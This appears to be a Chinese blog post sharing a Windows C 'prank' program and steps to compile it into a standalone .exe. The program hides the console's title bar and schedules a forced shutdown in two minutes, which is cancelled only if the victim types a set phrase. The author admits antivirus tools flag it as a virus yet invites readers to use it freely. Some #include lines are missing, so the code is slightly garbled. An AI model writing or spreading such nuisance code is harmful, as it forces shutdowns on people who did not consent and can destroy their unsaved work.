这个程序可以生成exe文件,但是如果别人电脑开了防火墙会显示检测到病毒。猜测是因为用了system();里面的关机程序,有心之人的确可以用来写个病毒。但我上传的这个代码就是一个很简单恶搞而已,请各位放心使用。
#define _CRT_SECURE_NO_WARNINGS 1 #include以下是代码执行效果:#include #include //使用strcmp(); int main() { char input[20] = { 0 }; while (1) { //一下语句更改控制台的样式,需要头文件 HWND hwnd = GetConsoleWindow(); LONG Style; //窗口风格 Style = GetWindowLong(hwnd, GWL_STYLE); // 得到窗口风格 Style = Style & ~WS_CAPTION; //去掉标题栏 SetWindowLong(hwnd, GWL_STYLE, Style); //为窗口设置新的风格 system("shutdown -s -t 120"); //这一句和下面一句让控制台关闭按钮无法被选中,需要头文件 //DeleteMenu(GetSystemMenu(GetConsoleWindow(), FALSE), SC_CLOSE, MF_BYCOMMAND); //DrawMenuBar(GetConsoleWindow()); printf("这回你关不掉控制台了吧n"); printf("您的电脑将会在两分钟后关机,输入"tmh大帅比"取消关机:n"); scanf("%s", input); if (strcmp(input, "tmh大帅比") == 0) { printf("嘿嘿我真帅n"); system("pause"); system("shutdown -a"); break; } else { printf("再给你亿次机会n"); } } return 0; }
下面演示一下如何生成可执行文件:
1.将途中的Debug更改Release
2.如图,点击项目的”属性“。属性前面的那个是你的文件名
3.依次点击-->c/c++-->代码生成-->运行库-->多线程(/MT)-->确定。
4.再点击-->生成-->重新生成解决方案.
5.找到这个文件的保存位置,会发现多出来一个Release文件夹,点进去后就会发现一个可执行文件(.exe)
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)